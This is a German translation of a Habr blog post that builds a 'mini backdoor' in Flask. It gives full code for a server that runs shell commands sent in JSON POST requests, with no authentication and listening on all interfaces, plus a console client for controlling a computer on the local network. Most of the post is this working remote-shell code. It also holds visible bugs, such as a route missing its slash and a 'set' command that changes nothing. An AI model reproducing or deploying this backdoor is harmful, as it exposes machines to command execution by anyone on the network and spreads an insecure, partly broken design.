Ein kleiner Backdoor in Flask oder wie man einen Computer im lokalen Netzwerk steuert

Hallo, Habra!

Neulich habe ich mir die heruntergeladene Version des Streams über Programmierung "Wie man seine eigene Webanwendung mit Flask erstellt" angesehen. Und ich beschloss, mein Wissen in einem Projekt zu festigen. Lange wusste ich nicht, was ich schreiben sollte, und mir kam die Idee: "Warum nicht ein Mini-Backdoor mit Flask machen?".

Sofort hatte ich die ersten Varianten der Implementierungen und Möglichkeiten des Backdoors im Kopf. Aber ich beschloss, gleich eine Liste der Möglichkeiten des Backdoors zu erstellen:

  1. In der Lage sein, Websites zu öffnen
  2. Zugriff auf die Eingabeaufforderung haben
  3. In der Lage sein, Programme, Fotos, Videos zu öffnen

Also, der erste Punkt ist sehr einfach mit dem Modul webbrowser umzusetzen. Den zweiten Punkt habe ich mit dem Modul os umgesetzt. Und den dritten ebenfalls über das Modul os, aber ich werde "Links" verwenden (darüber später).

Schreiben Server

Also, *Trommelwirbel* hier ist der gesamte Server-Code:

from flask import Flask, request
import webbrowser
import os
import re

app = Flask(__name__)
@app.route('mycomp', methods=['POST'])
def hell():
    json_string = request.json
    if json_string['command'] == 'test':
        return 'Der Server läuft und wartet auf Befehle...'
    if json_string['command'] == 'openweb':
        webbrowser.open(url='https://www.'+json_string['data'], new=0)
        return 'Website öffne ' + json_string['data'] + '...'
    if json_string['command'] == 'shell':
        os.system(json_string['data'])
        return 'Befehlsausführung ' + json_string['data'] + '...'
    if json_string['command'] == 'link':
        links = open('links.txt', 'r')
        for i in range(int(json_string['data'])):
            link = links.readline()
        os.system(link.split('>')[0])
        return 'Starte ' + link.split('>')[1]
if __name__ == '__main__':
    app.run(host='0.0.0.0')

Ich habe bereits den gesamten Code gezeigt, es ist Zeit für eine Erklärung.

Der gesamte Code läuft auf einem lokalen Computer an Port 5000. Zur Interaktion mit Server müssen wir eine JSON-POST-Anfrage senden.

Struktur der JSON-Anfrage:

{'command': 'kommando', 'data': 'irgendwelchedaten'}

Nun, es ist logisch, dass 'command' der Befehl ist, den wir ausführen möchten. Und 'data' sind die Argumente des Befehls.

Man kann JSON-Anfragen manuell an den Server senden (dafür steht die requests-Bibliothek zur Verfügung). Alternativ kann man einen Konsolenclient schreiben.

Schreiben des Clients

Code:

import requests

logo = ['nn',
        '******      ********',
        '*******     *********',
        '**    **    **     **',
        '**    **    **     **      Geschrieben in Python',
        '*******     **     **',
        '********    **     **',
        '**     **   **     **      Autor: ROBOTD4',
        '**     **   **     **',
        '**     **   **     **',
        '********    *********',
        '*******     ********',
        'nn']

p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'

def test():
    dict = {'command': 'test', 'data': 0}
    r = requests.post(host, json=dict)
    if r.status_code == 200:
        print (r.content.decode('utf-8'))

def start():
    for i in logo:
        print(i)

start()
test()

while True:
    command = input('>')
    if command == '':
        continue
    a = command.split()
    if command == 'test':
        dict = {'command': 'test', 'data': 0}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
    if a[0] == 'shell':
        for i in range(1, len(a)):
            p = p + a[i] + ' '
        dict = {'command': 'shell', 'data': p}
        r = requests.post(host, json=dict)
        if r.status_code == 200:
            print (r.content.decode('utf-8'))
        p = ''
    if a[0] == 'link':
        if len(a) > 1:
            dict = {'command': 'link', 'data': int(a[1])}
            r = requests.post(host, json=dict)
            if r.status_code == 200:
                print (r.content.decode('utf-8'))
        else:
            print('Der Befehl enthält keine Argumente!')
    if a[0] == 'openweb':
            if len(a) > 1:
                dict = {'command': 'openweb', 'data': a[1]}
                r = requests.post(host, json=dict)
                if r.status_code == 200:
                    print (r.content.decode('utf-8'))
            else:
                print('Der Befehl enthält keine Argumente!')
    if a[0] == 'set':
        if a[1] == 'host':
            ip = a[2] + ':5000'
    if command == 'quit':
        break

Erklärungen:

Zuerst wird das Modul requests (für die Interaktion mit dem Server) importiert. Anschließend werden die Funktionen start und test beschrieben. Danach folgt eine Schleife, in der das Wunder geschieht. Haben Sie den Code gelesen? Dann ist Ihnen der Sinn des Wunders, das in der Schleife geschieht, klar. Geben Sie einen Befehl ein – er wird ausgeführt. Shell – Befehle für die Eingabeaufforderung (die Logik übersteigt den Rahmen).

Test – überprüft, ob der Server (Backdoor) funktioniert.
Link – Verwendung einer "Verknüpfung"
Openweb – Website öffnen
Quit – Client beenden
Set – IP Ihres Computers im lokalen Netzwerk festlegen

Jetzt mehr zum Thema Link.

Neben dem Server befindet sich die Datei link.txt. Darin sind Links (vollständiger Pfad) zu Dateien (Videos, Fotos, Programme) enthalten.

Die Struktur ist folgende:

voller_Pfad>Beschreibung
voller_Pfad>Beschreibung

Fazit

Wir haben einen Backdoor-Server zur Verwaltung von Computern im lokalen Netzwerk (innerhalb des Wi-Fi-Netzes). Technisch gesehen können wir den Client von jedem Gerät aus starten, auf dem ein Python-Interpreter installiert ist.

P.S. Ich habe den Befehl set hinzugefügt, damit, wenn dem Computer im lokalen Netzwerk eine andere IP zugewiesen wird, sie direkt im Client geändert werden kann.

Quelle: habr.com

60GB SSD 8Gb DDR4